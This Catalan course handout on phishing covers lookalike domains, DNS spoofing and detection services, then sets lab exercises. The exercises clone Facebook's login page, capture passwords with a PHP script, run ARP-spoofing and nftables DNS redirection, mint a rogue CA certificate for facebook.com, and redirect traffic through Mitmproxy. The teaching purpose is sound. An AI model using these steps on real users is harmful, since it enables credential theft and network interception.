Phishing

Per "enginyeria social" s'entén la realització de qualsevol acte no tècnic (una conversa, un missatge enviat per correu o xarxes socials, etc) que influeixi en una persona per dur a terme una acció maliciosa contra ell mateix (o el sistema on treballi) sense que se n'adoni. L'acció maliciosa sol ser generalment fer un "click" sobre un determinat link, el qual pot provocar o bé la descàrrega de "malware" que infecti la màquina o bé pot mostrar un lloc web fraudulent (simulant ser-ne un de legítim), entre altres accions. L'objectiu en el primer cas sol ser el d'obrir una "porta del darrera" que permeti l'accés i el control de la màquina infectada per part d'un software gestionat remotament per l'atacant -l'anomenat **C&C**, "Command & Control- (i, eventualment, fer servir aquesta màquina infectada de bastió per l'accés a altres màquines de la xarxa interna, en el que se'n diu "moviment lateral"...ho estudiarem més endavant) mentre que l'objectiu en el segon cas sol ser el d'obtenir informació de l'usuari com podrien ser les contrasenyes dels llocs web que visita o els seus nº de tarja de crèdit, etc (aconseguint així, per exemple, suplantar-li la identitat); a aquest darrer tipus d'atac se li sol anomenar "phishing" degut a què es "pesca" l'usuari, i és el que estudiarem en aquest document.

> NOTA: En tot cas, caldrà distinguir el "phishing" indiscriminat de l'anomenat "**spear phishing**", que és l'enfocat a una persona o empresa víctima concreta

Phishing "actiu" via links (enviats per email, etc)

Existeixen programes específics (com ara Gophish, https://getgophish.com, entre d'altres) que permeten llençar de forma molt senzilla emails a múltiples destinataris amb un contingut (normalment generat a partir d'una plantilla) indicant l'acció que la persona que llegirà l'email haurà de realitzar per caure en el parany. Aquest tipus de programes fins i tot guarden estadístiques sobre quins destinataris han "caigut" i quines no, permeten temporitzar l'enviament de forma automàtica etc.

Per a què aquestes campanyes d'enviament de emails massius tinguin èxit, a més d'haver recopilat un bon conjunt d'adreces de correu susceptibles de ser potencials víctimes (que això ja de per si donaria per un altre document, més relacionat amb tècniques **OSINT**), les quals seran diferents segons l'àmbit corporatiu on volguem incidir, un altre aspecte que és molt important és el disposar d'un domini DNS creïble com a destí del "link" que la víctima haurà de clicar. És a dir, si el correu representa que prové de Paypal i demana que es vagi a una adreça determinada per, per exemple, ingressar-hi l'usuari i la contrasenya (sota qualsevol excusa: una actualització, un manteniment, etc), aquesta adreça ha de ser similar a la què hom esperaria d'una url de Paypal. En aquest sentit, hi ha varis "consells" per tal de triar (i adquirir) un domini DNS que pugui ajudar a passar més desapercebut l'atac d'enginyeria social; per exemple, si el domini DNS legítim fos "zelster.com"..:

> *****Podem canviar el TLD (p.ex: "zelster.org")
> *****Podem afegir una paraula-clau al domini original (p.ex: "zelster-ltd.com")
> *****Podem canviar el punt d'un subdomini per un guió (p.ex:"www-zelster.com"), introduir un subdomini nou (p.ex:"ze.lster.com"), afegir el TLD com a part del domini (p.ex:"zelstercom.com")...
> *****Podem intercanviar lletres del nom (p. ex: "zeslter.com"), afegir-ne un plural (p.ex. "zelsters.com"), eliminar alguna lletra ("zelser.com"), repetir-la ("zeltsser.com")...
> *****Podem substituir un caràcter del domini per un altre caràcter que a simple vista sembli el mateix (per exemple, una "l" per una "I", una "O" per un "0", etc). Aquest tipus de substitucions es diuen "**homògrafes**" i, en el cas d'emprar caràcters de diferents alfabets (com ara el cirílic, el qual té una altra taula Unicode diferent de l'alfabet llatí) es fan més difícils de distingir.
>
> > NOTA: Es poden consultar a https://www.expireddomains.net (ja sigui directament o bé a través del seu client de consola "domainhunter" (https://github.com/threatexpress/domainhunter) quins dominis estan propers a caducar (o han caducat fa poc) per tal d'adquirir-los. A efectes de posicionament i reputació són millors dominis que tinguin una certa antiguitat que no pas adquirir un domini nou. No obstant, cal assegurar-se de què aquest domini antic no hagi sigut marcat com a sospitós en les diverses llistes negres que es publiquen a Internet; en aquest sentit, abans d'adquirir un domini és recomanable fer les comprovacions pertinents per exemple a http://www.fortiguard.com/webfilter o a https://urlfiltering.paloaltonetworks.com/query

En el cas concret de voler fer un atac de tipus "phishing", per a què aquest atac funcioni cal que l'atacant implementi també un servidor HTTP/S propi allotjant un lloc web fraudulent que sigui el més similar possible al lloc web legítim per tal de fer creïble l'engany. És a dir, aquest servidor haurà d'oferir una web l'aparença de la qual haurà de ser el més semblant possible a la de la web legítima per tal d'enganyar a l'usuari fent-li creure que està accedint al lloc web legítim (d'un banc, d'una botiga online, etc) en comptes del lloc web propietat de l'atacant.

> NOTA: Alguns consells per evitar (o, si més no, saber detectar a temps) aquest tipus d'atac es poden consultar a https://riseup.net/ca/security/human-security/message-hygiene i també a https://security.utexas.edu/outreach/phishing o https://ciberseguridad.blog/todo-sobre-la-deteccion-y-prevencion-del-phishing

Phishing "passiu" via "DNS Spoofing"

En comptes d'"obligar" a l'usuari-víctima a què "activament" vagi, mitjançant el click en un enllaç, a un servidor HTTP fraudulent (emmascarat amb un nom DNS aparentment confiable) per tal de ser infectat i/o enganyat, una altra manera d'aconseguir que aquest usuari-víctima vagi al servidor HTTP fraudulent és de forma passiva, mitjançant l'aplicació d'un atac de "DNS Spoofing". Tal com ja hem comentat anteriorment, aquest tipus d'atac consisteix en enviar respostes DNS falsificades a les víctimes. D'aquesta manera, aquestes es veuran dirigides a contactar (sense adonar-se'n) amb un servidor (de tipus HTTP, normalment) diferent del servidor legítim al que pretenien arribar, (aconseguint així, doncs, el mateix objectiu que si hagués clicat en un "link" maliciós). Cal fer notar que en aquest cas, a diferència del descrit a la pàgina anterior, no és necessari utilitzar cap domini "fals" perquè s'estarà emprant en tot moment el domini DNS legítim: el truc aquí està en relacionar aquest domini DNS legítim amb una adreça IP que no és la "vertadera".

> NOTA: Un atac "DNS Spoofing" també podria servir per censurar el trànsit web dirigit a alguns dominis en concret si es fa que les respostes corresponents a les peticions sobre aquests dominis apuntin a adreces IP no vàlides (com per exemple 127.0.0.1)

La forma d'implementar un atac "DNS Spoofing" pot ser variada. Una manera podria ser modificar directament els arxius de zona dels servidors legítims usats per les potencials víctimes (ja siguin locals de la LAN o bé pertanyents a un ISP d'Internet) per tal de què l'associació nom<->IP sigui la que l'atacant vulgui; no obstant, aquesta manera implica trencar la seguretat del propi servidor DNS, cosa que pot ser força complicada. Una altra manera, més complicada, podria ser interceptar i modificar "en trànsit" la resposta donada pel servidor DNS legítim. La forma més senzilla de totes, però, segurament sigui posar en marxa un servidor DNS propi publicant la informació falsificada que volguem i llavors, això sí, obligar d'alguna manera als clients a què facin servir aquest servidor DNS "dolent" en lloc dels servidors DNS legítims que tindrà configurats d'entrada. Això últim es pot aconseguir d'alguna de les següents maneres (les quals només són efectives, no obstant, si l'atac es realitza des de dins de la mateixa LAN on es troben les màquines-víctima):

> *****Via l'execució d'un servidor DHCP "dolent" que ofereixi aquesta configuració als clients "incauts"
> *****Via la implementació d'un atac "ARP Spoofing" (per tal d'obligar a què tot el tràfic dirigit a Internet provinent de la víctima passi per la màquina atacant) més la redirecció del tràfic específicament DNS (mitjançant l'ús de regles del tallafocs) al servidor DNS "dolent".

Igualment que passava amb el "phishing" actiu, per a què aquest atac "passiu" funcioni cal que l'atacant implementi també un servidor HTTP/S propi allotjant un lloc web fraudulent que sigui el més similar possible al lloc web legítim per tal de fer creïble l'engany. La idea és que, en ser la víctima redirigida sense saber-ho al servidor trampós degut a l'enverinament DNS, aquest servidor haurà d'oferir una web l'aparença de la qual haurà de ser el més semblant possible a la de la web legítima per tal d'enganyar a l'usuari fent-li creure que està accedint al lloc web legítim (d'un banc, d'una botiga online, etc) en comptes del lloc web propietat de l'atacant.

EXERCICIS:

0.-a) Suposa que vols implementar una campanya de phishing contra els empleats de Cocacola. Utilitza les webs https://phonebook.cz o https://hunter.io o per trobar el màxim d'emails possibles

> NOTA: Altres webs similars però que reclamen registre per fer-les servir són https://maildb.io o https://anymailfinder.com D'altra banda, el programa theHarvester (https://github.com/laramies/theHarvester) aglutina en una única eina de terminal l'accés a moltes d'aquestes webs (entre d'altres amb altres informacions) d'una forma central i homogènia

aII) D'altra banda, per a què serviria aquest servei: https://emailrep.io ?

b) Obre el navegador Firefox i vés a la següent adreça: https://www.xn--80ak6aa92e.com ¿Quina adreça es mostra a la barra del navegador quan arribes al lloc web en qüestió? ¿Per què? ¿Com es diu aquest "atac"? Consulta https://www.eggwall.com/2021/02/unicode-urls.html (o https://en.wikipedia.org/wiki/Punycode) per saber què vol dir "punycode".

> NOTA: Per evitar que el Firefox mostri els caràcters "transformats" i, per tant, fer més difícils aquest tipus d'atac, es pot fer escriure "about:config" a la seva barra de direccions per tal d'accedir a la configuració detallada del navegador i, un cop allà, buscar la directiva **network.IDN_show_punycode** per tal de canviar el seu valor de *false* a *true*.
> NOTA: Pots trobar un conversor Punycode<->Unicode a https://punycode.es

bII) Tenint en compte l'apartat anterior, ¿per a què creus que serveixen els programes https://github.com/mindcrypt/uriDeep o https://github.com/UndeadSec/EvilURL?

bIII) Llegeix el següent article i, a partir d'ell, explica amb les teves paraules què significa la paraula "typosquatting" i per a què es podria fer servir maliciosament: https://en.wikipedia.org/wiki/Typosquatting

c) Digues què cerquen els buscadors https://dnstwister.report o https://dnstwist.it

> NOTA: El segon buscador té un client de consola associat de codi obert, disponible a https://github.com/elceef/dnstwist Una eina de consola similar és https://github.com/urbanadventurer/urlcrazy (la pàgina web del qual és https://morningstarsecurity.com/research/urlcrazy)

d) Vés a https://phishstats.info i clica sobre l'apartat "Public Dashboard 1": ¿què hi veus?

> NOTA: Altres webs similars interessants són https://phishunt.io o https://www.phishtank.com

e) ¿Per a què serveixen aquestes extensions del navegador (les pots instal·lar i provar): https://www.netcraft.com/apps/browser o https://www.bitdefender.com/solutions/trafficlight.html?

> NOTA: També existeix una versió per mòbils de l'extensió de Netcraft (https://www.netcraft.com/apps/mobile) i una altra en forma d'extensió per suites de correu (https://www.netcraft.com/apps/mail)

f) ¿Quin servei ofereixen les webs https://scanner.pcrisk.com o https://sitecheck.sucuri.net o l'API (previ registre) https://developers.google.com/safe-browsing?

fII) ¿Quin servei ofereixen les webs https://www.urlvoid.com o https://metadefender.opswat.com o https://transparencyreport.google.com/safe-browsing/search?

fIII) ¿Quin servei ofereix la web https://urlscan.io?

> NOTA: En relació al servei "Safe browsing" de Google, en el següent enllaç ofereixen dades estadístiques molt interessants sobre els seus resultats: https://transparencyreport.google.com/safe-browsing/overview

g) Realitza el següent test i digues quina puntuació has tret: https://phishingquiz.withgoogle.com

> NOTA: Altres trucs per evitar caure en el "phishing" es troben a https://support.google.com/websearch/answer/106318

1.-a) Arrenca una màquina virtual (Fedora o Ubuntu, és igual, Server o Desktop, és igual) que tingui la seva tarja de xarxa en mode "adaptador pont". Instal·la-hi els paquets "apache2" i "libapache2-mod-php" (a Ubuntu) o "httpd" i "php" (a Fedora)

b) Situa't dins de la carpeta "/var/www/html" (com a root) i descarrega allà dins la pàgina inicial de Facebook mitjançant aquesta comanda: *sudo wget -e robots=off -H -E -k -p -nd -U "User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:85.0) Gecko/20100101 Firefox/85.0" es-es.facebook.com*

> NOTA: El significat dels diferents paràmetres emprats a la comanda *wget* anterior són els següents:
> *-***p** descarrega tots els elements (CSS, Javascript, imatges...) referenciats per la pàgina descarregada (la qual, en no indicar que es vol una descàrrega recursiva -amb el paràmetre -r -, només serà "index.html" i prou) per tal d'aconseguir que es visualitzi correctament
> *-***k** canvia tots els links escrits dins del codi HTML de les pàgines descarregades que apunten als diferents recursos (CSS, imatges, etc) per a què siguin relatius en comptes d'absoluts (i així poder-los seguir-los un cop descarregats els recursos)
> *-***E** afegeix l'extensió adient a cada recurs descarregat (".css" als arxiu CSS, ".js" als arxius Javascript, etc) ja que per defecte *wget* no ho fa i això pot provocar que els links (que sí incorporen l'extensió) no apuntin al nom del recurs correcte
> *-***H** permet connectar a altres servidors més enllà de l'indicat, si cal per tal de descarregar els recursos que la pàgina inicial referencia
> *-***nd** descarrega tot junt mesclat a la mateixa carpeta (sense respectar la jerarquia de carpetes del servidor remot)
> *-***U** permet indicar el valor desitjat per la capçalera "User-Agent". És necessari en aquest cas perquè Facebook té prohibit l'accés a les seves pàgines a programes com *wget*, així que cal enganyar-lo fent-li creure que és un navegador "normal".
> * ***-e robots=off*** permet saltar-se la restricció de fer cas a l'arxiu "robots.txt" de Facebook. És necessari per poder accedir a totes les subcarpetes on es troben els recursos a descarregar per tal de completar la pàgina inicial, ja que per defecte l'arxiu "robots.txt" de Facebook no ho permet (per més informació consulteu https://www.robotstxt.org/robotstxt.html o també https://developers.google.com/search/docs/advanced/robots/create-robots-txt)

c) Obre amb un editor de text la pàgina "index.html" acabada de descarregar i busca l'etiqueta HTML *<form ...>* Canvia-li el valor del seu atribut *action=* per a què sigui "post.php". A més, comenta (és a dir, inclou entre els símbols *<!--* i *-->*) totes les etiquetes *<script>* presents dins de la secció *<head>...</head>* (això darrer és per desactivar el Javascript que xifra -abans d'enviar- la contrasenya introduïda al formulari)

d) Crea un arxiu buit anomenat "log.txt" dins de "/var/www/html" i executa la comanda *sudo chown www-data:www-data /var/www/html/log.txt* (a Ubuntu) o *sudo chown apache:apache /var/www/html/log.txt* (a Fedora). Vist el contingut de l'arxiu "post.php" indicat al proper apartat , ¿per què creus que és necessari executar la comanda anterior?

e) Crea un arxiu anomenat "post.php" dins de la carpeta "/var/www/html" amb el següent contingut:

```
<?php
header("Location:https://www.facebook.com");
$fitxer=fopen("log.txt","a");
foreach($_POST as $variable => $valor) {
   if ($variable == "email" || $variable == "pass") {
            fwrite($fitxer,$variable);
            fwrite($fitxer,"=");
            fwrite($fitxer,$valor);
            fwrite($fitxer,"\r\n");
   }
}
fwrite($fitxer,"---------\r\n");
fclose($fitxer);
?>
```

> NOTA IMPORTANT: Si el teu servidor Apache+PHP està funcionant sobre un sistema Fedora, abans de reiniciar el servei hauràs d'executar la següent comanda per tal de què el subsistema de seguretat SELinux que Fedora porta incorporat et deixi escriure a l'arxiu "log.txt": *sudo setenforce permissive* (tot i que una alternativa més permanent i segura a la comanda anterior seria executar les dues comandes següents: *sudo semanage fcontext -a -t httpd_sys_rw_content_t "log.txt" && sudo restorecon -v "log.txt"*)

f) Obre el navegador a la màquina real i escriu l'adreça IP de la màquina virtual a la barra de direccions. ¿Què veus? Prova d'escriure un usuari i contrasenya qualsevol al formulari mostrat. ¿Què passa i per què? ¿Quin contingut apareix dins de "log.txt"?

NOTA: Segurament pensaràs que aquest exemple no és massa realista perquè estàs accedint al servidor via una IP i, a més, sobre HTTP i no pas HTTPS. Aquests inconvenients, però, els resoldrem a l'exercici següent, on utilitzarem un domini DNS (que podría ser un de propi de tipus homògraf publicitat via mail/missatges/etc o bé un "spoofejat" -que és el que farem-) per accedir-hi al servidor mitjançant aquest i també, molt important, per associar-lo al certificat HTTPS del nostre servidor, creat específicament per aquest domini i que els navegadors víctima hauran d'"empassar-se".

Tal com es comenta a la nota anterior, només associant un determinat domini DNS propi (i, a poder ser, homògraf) a la IP del servidor Apache anterior i oferint el certificat HTTPS corresponent (que caldria que estigués signat per alguna CA reconeguda pels navegadors víctima, això sí), amb l'exercici anterior ja seria suficient per implementar un atac de "phishing" complementat per l'ús d'enviament massius de correus/missatges amb el link adient al servidor Apache. No obstant, si volem realitzar l'atac de "phishing" de forma passiva (i indiscriminada), cal fer l'exercici següent, en el qual bàsicament s'obliga als clients a utilitzar un servidor DNS enverinat per tal de redirigir automàticament les peticions desitjades al servidor web fraudulent.

NOTA: En el cas de que fóssim propietaris d'un domini homògraf registrat formalment en algun proveïdor DNS d'Internet, també podríem realitzar un atac passiu com el que es proposarà al següent exercici (i que funcionaria igualment només dins d'una LAN) però sense necessitat d'implementar cap servidor DNS propi "fake" sinó simplement fent servir Mitmproxy com a redireccionador. Concretament, els passos serien aquests:

1.-Tenir funcionant igualment un servidor web amb la pàgina clonada però amb la seva IP associada al domini homògraf. Aquest servidor web pot estar allotjat a qualsevol VPS d'Internet.
2.-Posar en marxa el Mitmproxy a la LAN de la següent manera:
mitmdump -m transparent -M ":.\.facebook.com:www.f4c3b00k.com"*
D'aquesta manera, totes les peticions HTTP/S rebudes que vagin dirigides a "*.facebook.com" seran redirigides al nostre servidor web fraudulent, accesible a través del nom "www.f4c3b00k.com"
3.-Executar l'atac "ARP Spoofing", activar l'"IP-Forward" i redireccionar els ports 80 i 443 al port 8080, com ja hem fet anteriorment per tal de fer servir el Mitmproxy de forma transparent

NOTA: Hom podria pensar que amb el paràmetre --map-local de Mitmproxy (fent-lo servir així, per exemple: *mitmdump -m transparent --map-local ":.*\.facebook\.com:/var/www/html"* ja hauria de ser suficient per fer una redirecció a la pàgina web (en aquest cas, allotjada localment) i no caldria llavors cap servidor web extern. No obstant, això no funcionarà perquè el paràmetre *--map-local* de Mitmproxy només pot oferir recursos estàtics (pàgines HTML pures, CSS, Javascript, imatges...) i la pàgina que es crida en l'atribut action= del formulari del login de Facebook és una pàgina PHP. El que passaria és que el navegador obtindria la pàgina PHP però sense interpretar (per tant, es veuria directament el codi PHP a la finestra del navegador en no haver sigut "processat")

2.-a) A la mateixa màquina on està el servidor Apache de l'exercici anterior funcionant, configura el dimoni "Systemd-resolved" tal com ja vam fer en exercicis anterior i com s'explica a continuació, de manera que funcioni com a servidor autoritatiu (de l'arxiu de zona "/etc/hosts") tant per peticions locals com remotes (compte perquè fent això també t'estaràs "autoatacant"). Concretament:

*Per a què "Systemd-resolved" escolti peticions de clients DNS remots assegura't que aparegui a l'arxiu "/etc/systemd/resolved.conf" la línia *DNSStubListenerExtra=ip.tarja:nºport* (on "ip.tarja" representa la IP de la tarja de xarxa de la màquina per on es voldran rebre peticions remotes -en aquest cas, estem parlant de la IP de la màquina de l'atacant, tot i que pot indicar-se genèricament "0.0.0.0"-; i "nºport és el port d'escolta -si no s'indica, per defecte serà el 53 tcp i udp-).

*Per a què "Systemd-resolved" faci de servidor DNS autoritatiu del contingut present a l'arxiu "/etc/hosts" local per tots els clients admesos (el local i/o els remots), assegura't que aparegui a l'arxiu "/etc/systemd/resolved.conf" la línia *ReadEtcHosts=yes* (per defecte ja és així)

NOTA: El programa https://github.com/iphelix/dnschef és un "proxy DNS" específicament dissenyat per realitzar atacs "DNS Spoofing"; amb ell podríem haver aconseguir el mateix que hem fet amb Systemd-resolved

b) Edita l'arxiu "/etc/hosts" de la màquina atacant per tal d'indicar els noms DNS que vols "spofejar", indicant que es resoldran a la IP de la pròpia màquina atacant perquè allà mateix tenim funcionant el servidor Apache "fals" (podria ser la IP d'un altre servidor Apache diferent, sota control nostre). Per exemple:

192.168.12.123 facebook.com
192.168.12.123 es-es.facebook.com

NOTA: Tal com hem dit, la IP 192.168.12.123 representa que és la IP del servidor web fraudulent (que en aquest exercici està funcionant a la mateixa màquina que realitza l'atac "ARP Spoofing", però no tindria per què)
NOTA: Noteu, però, que no hem afegit a la llista anterior el domini "www.facebook.com" perquè és el que hem fet servir a l'script PHP per redireccionar a la web de Facebook real; si l'haguessim afegit, ens estaríem redireccionant constantment a nosaltres mateixos!

c) Crea un fitxer (que anomenarem "redir53.txt") contenint les regles del tallafocs Linux necessàries per tal de redirigir tot el tràfic destinat al port 53 UDP que provingui de qualsevol víctima externa al nostre propi servidor DNS (en comptes de reenviar-ho als servidors DNS d'Internet que tingui la víctima en qüestió, que és el que passaria gràcies a l'"IP-Forwarding" que implementarem al proper apartat).

```
#!/usr/sbin/nft -f
flush ruleset
table ip nat {
        chain prerouting {
                type nat hook prerouting priority 100 ;
                iifname enp0s3 udp dport 53 redirect to 53
        }
}
```

NOTA: Una altra opció hagués sigut interceptar les respostes dels servidors DNS legítims i modificar-les "al vol", però és una solució molt més complicada i no aporta cap avantatge.

d) Fes que els clients facin servir el nostre servidor "Systemd-resolved" sí o sí (sense que es canvïi la seva configuració local per res) via la implementació d'un atac "ARPSpoofing" (más les regles del tallafocs necessàries). És a dir, crea un script amb el següent contingut, dona-li permisos d'execució i executa'l com a "root" (on "192.168.12.10" representa la IP de la porta d'enllaç i "192.168.12.222" la IP de la víctima):

```
#!/bin/bash
arpspoof -t 192.168.12.10 192.168.12.222 2> /dev/null &
arpspoof -t 192.168.12.222 192.168.12.10 2> /dev/null &
sysctl net.ipv4.ip_forward=1
nft -f redir53.txt
```

e) Reinicia el servei *systemd-resolved* i tot seguit comprova, a la màquina real, que la comanda *host facebook.com* (o *dig facebook.com*) resol a la IP de la màquina virtual (fins i tot indicant un servidor DNS explícitament amb *dig @ip.serv.DNS...* també es resoldrà a la IP de la màquina virtual perquè el contingut de l'arxiu "/etc/hosts" té preferència sobre les peticions DNS, tal com s'indica a l'arxiu "/etc/nsswitch.conf", recorda). Comprova també que les capçaleres de servidor siguin les del teu servidor Apache2 escrivint *curl -I facebook.com* Fins que no estigui tot correcte no continuïs (llegeix la nota següent)

NOTA IMPORTANT: Potser et caldrà netejar la catxé DNS del sistema client per a què no recordi les possibles respostes anteriors (legítimes) i, per tant, obligar-lo a tornar a pregunta. Això es pot fer executant *resolvectl flush-caches* (al client)

2BIS.-a) Configura el servidor Apache per a què funcioni com a servidor HTTPS associat al domini "facebook.com" (per a què el navegador no "noti" cap cosa estranya en accedir al destí legítim, que sí és HTTPS) . Concretament, executa, a la màquina atacant (i preferiblement dins de la carpeta "/etc/ssl", com a "root"), les següents comandes...:

```
openssl req -new -x509 -newkey rsa:2048 -nodes -keyout ca.key -out ca.crt      (de CN posa qualsevol cosa)
openssl req -new -newkey rsa:2048 -nodes -keyout server.key -out server.csr    (de CN posa "facebook.com")
openssl x509 -req -in server.csr -CA ca.crt -CAkey ca.key -out server.crt -set_serial 1234
```

NOTA: La primera comanda serveix per crear un certificat arrel d'una CA pròpia, el qual servirà per signar el certificat del servidor HTTPS creat a la tercera comanda (prèvia creació a la segona comanda del CSR corresponent juntament amb la clau privada del servidor HTTPS). La gràcia aquí està en què el certificat que creem estarà associat al domini "*.facebook.com", cosa que cap CA "oficial" ens ho signaria i és per això que hem de crear-ne una CA pròpia. El problema d'això serà que haurem d'aconseguir, tal com ja vam fer amb el Mitmproxy, que aquest certificat arrel "trampós" sigui reconegut pels navegadors de les nostres víctimes per a què el nostre servidor HTTPS pugui passar desapercebut (important-lo "manualment"). Si no fem això, obtindrem el famós error SEC_ERROR_BAD_SIGNATURE.

aII) ...i tot seguit segueix els següents passos per configurar el servidor Apache com a servidor HTTPS (fent ús dels fitxers creats al punt anterior). No t'oblidis, al final, de reiniciar el servei per aplicar els canvis:

*A Fedora, executa primer *sudo dnf install mod_ssl* i assegura't què hi hagin les següents línies a l'arxiu "**/etc/httpd/conf.d/ssl.conf**" (en cas de què apareguin comentades, descomenta-les; l'única línia que no està escrita serà "ServerAlias"...escriu-la tot just després de la línia "ServerName"):

DocumentRoot "/var/www/html"
ServerName facebook.com
ServerAlias es-es.facebook.com
SSLEngine on
SSLCertificateFile /etc/ssl/server.crt
SSLCertificateKeyFile /etc/ssl/server.key

*A Ubuntu, assegura't què hi hagin les següents línies a l'arxiu "**/etc/apache2/sites-available/default-ssl.conf**" (en cas de què apareguin comentades, descomenta-les; l'única línia que no està escrita serà "ServerAlias"...escriu-la tot just després de la línia "ServerName") i tot seguit executa *sudo a2ensite default-ssl && sudo a2enmod ssl*

DocumentRoot "/var/www/html"
ServerName facebook.com
ServerAlias es-es.facebook.com
SSLEngine on
SSLCertificateFile /etc/ssl/server.crt
SSLCertificateKeyFile /etc/ssl/server.key

NOTA: Un tutorial per aconseguir muntar un servidor HTTPS amb Apache però utilitzant certificats "Let's Encrypt" es pot consultar a https://www.server-world.info/en/note?os=Ubuntu_20.04&p=httpd&f=3 (per Ubuntu) o a https://www.server-world.info/en/note?os=Fedora_35&p=httpd&f=3 (per Fedora)

b) Transporta l'arxiu "ca.crt" (el certificat arrel que ha signat el nostre certificat de servidor impostor) creat a l'apartat anterior a la màquina real (la "víctima") d'alguna manera (via *ncat*, *scp*, mail...)

NOTA: Aquí la gràcia, tal com s'explica a la teoria, seria fer això sense haver de tenir accés físic a la màquina "víctima" sinó amb la participació involuntària d'algun dels seus usuaris via l'accés a algun correu maliciós o l'execució d'algun malware, etc...s'estudiaran aquestes tècniques properament

bII) Un cop tinguem l'arxiu "ca.crt" a la màquina real (la "víctima"), caldrà integrar-lo dins del navegador. Si fem servir Firefox sobre Linux, per fer això obre el Firefox a la màquina "víctima" i escriu a la seva barra de direccions l'adreça *about:preferences#privacy ;* clica allà sobre el botó "Mostra el certificats" per anar a la pestanya "Entitats" i clica llavors sobre el botó "Importa"; es mostrarà una finestra emergent on hauràs de xequejar com a mínim la primera opció ("Confia en aquesta CA per identificar llocs web") i acceptar.

NOTA: Cal dir que, en aquest cas, no hagués calgut haver de transportar el certificat "a mà" del servidor al navegador i importar-lo també "a mà" perquè si haguéssim anat amb el navegador de la víctima a la url https://facebook.com ens haguéssim trobat amb la pàgina d'error SSL_ERROR_BAD_CERT_DOMAIN, a la qual es veuria (després de clicar sobre el botó "Avançat") el botó "Accepto el risc i vull continuar", el qual permetria fer el pas b) i bII) de forma automàtica. No obstant, aquest escenari no és massa creïble si és l'usuari del navegador víctima qui accedeix a aquesta pàgina d'error, perquè hi desconfiaria fàcilment...la idea és incorporar el certificat fals de forma que sigui "invisible" per l'usuari víctima.
NOTA: De fet, fins i tot la possibilitat de que un usuari despistat pugui clicar sobre el botó d'"acceptar el risc" cada cop és més difícil perquè la majoria de servidors HTTPS avui dia utilitzen una tecnologia anomenada **HSTS** , que el que fa és eliminar aquest botó de la pàgina d'error (ja que es va confirmar que era una mala idea), de tal manera que si un usuari veu una pàgina d'error amb el botó present, tingui la certesa de què no es tracta d'una pàgina d'error eventual de la pàgina "bona". Sobre aquesta tecnologia en parlarem al proper exercici.

c) Obre el navegador de la màquina real i elimina-li la memòria cau per tal de forçar a tornar a iniciar sessió a Facebook (si no fessis això, hi ha la possibilitat de què l'usuari entrés directament a la seva sessió prèviament oberta de Facebook sense passar per la pàgina de login). A Firefox això es fa pulsant les tecles CTRL+SHIFT+DEL i, al quadre que apareix, marcant l'opció "Dades -> Paràmetres del lloc" (en anglès, "Data -> Site preference") i també és recomanable l'opció "Historial->Memòria cau" i "Historial->Sessions actives" per l'abast temporal "TOT".

NOTA: Una alternativa per veure si funciona l'exercici també és pulsar CTRL+F5, la qual carrega la pàgina actual obviant la memòria cau (és a dir, la demana a l'origen invariablement)

cII) Escriu "facebook.com" a la barra de direccions del navegador. ¿Què veus? I després d'introduir un usuari/contrasenya vàlid, ¿què passa i per què? ¿Quin contingut apareix dins de "log.txt"?

NOTA: Si haguéssim escrit el domini "es-es.facebook.com" a la barra del navegador, hauríem obtingut l'error SEC_ERROR_BAD_SIGNATURE degut a què el certificat del servidor creat a l'apartat e) només és vàlid pel domini "facebook.com"; si volguéssim que fos també per "es-es.facebook.com" hauríem d'haver creat un certificat de tipus SAN (subjectAltName) per "*.facebook.com", per exemple. Ho deixem com a exercici.

La tecnologia HSTS (estandaritzada al RFC 6797 per l'IETF) consisteix, bàsicament, en afegir a les respostes del servidor HTTPS una capçalera amb el nom "**Strict Transport Security**", la qual serveix per establir dues restriccions: indica al client que mai no hauria de carregar el lloc web en qüestió mitjançant HTTP (provocant, a la pràctica, que tots els intents d'accés al lloc mitjançant HTTP es converteixin en peticions HTTPS) i deshabilita, tal com dèiem a una nota de l'exercici anterior, el botó d'"Acceptar excepció". Aquesta capçalera té com a valor sempre una parella clau<->valor anomenada *maxage* (que indica el temps de caducitat -en segons- de les dues restriccions mencionades) i, opcionalment, a més, el valor *includeSubDomains* (que indica, en aparèixer, que les restriccions s'aplicaran als subdominis també).

NOTA1: Quan hagi transcorregut el temps de caducitat especificat per la capçalera "Strict-Transport-Security", el següent intent de carregar el lloc mitjançant HTTP continuarà de manera normal en lloc d'utilitzar automàticament HTTPS. De totes formes, sempre que es lliura la capçalera "Strict-Transport-Security" al navegador, s'actualitzarà el temps de caducitat del lloc web en qüestió, de manera que poden evitar que caduqui el temps d'espera si són freqüentment accedits.
NOTA2: Aquesta informació associant els (dominis dels) llocs webs amb el temps de caducitat de les seves respectives capçaleres "Strict-Transport-Security", el navegador Firefox concretament la guarda dins de l'arxiu anomenat "SiteSecurityServiceState.txt" ubicat dins del perfil de Firefox per l'usuari (una de les coses que justament esborra l'opció "Dades -> Paràmetres del lloc" del quadre que apareix amb CTRL+SHIFT+DEL és el contingut d'aquest fitxer pel domini en qüestió). A *curl* cal fer servir el paràmetre *–hsts fitxeronesguardahsts.txt* per interpretar aquesta capçalera correctament.
NOTA3: Per més informació sobre aquesta capçalera, podeu consultar els articles següents:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Strict-Transport-Security
https://www.owasp.org/index.php/HTTP_Strict_Transport_Security_Cheat_Sheet
https://scotthelme.co.uk/hsts-the-missing-link-in-tls (i també https://scotthelme.co.uk/hsts-cheat-sheet)
NOTA4: Tot i que no té gaire sentit, es pot desactivar la protecció HSTS a la configuració del navegador Firefox escrivint "about:config" a la seva barra de direccions i establir les següents directives a "false": *network.stricttransportsecurity.preloadlist* i *browser.fixup.fallback-to-https*

3.-a) Vés a https://securityheaders.com i comprova si el servidor web que ofereix el lloc "www.hola.com" incorpora a les respostes enviades als clients tot el conjunt de capçaleres necessàries per tal d'estar realment protegit contra diferents atacs. Comprova ara el mateix pel servidor web que allotja "www.marca.com"

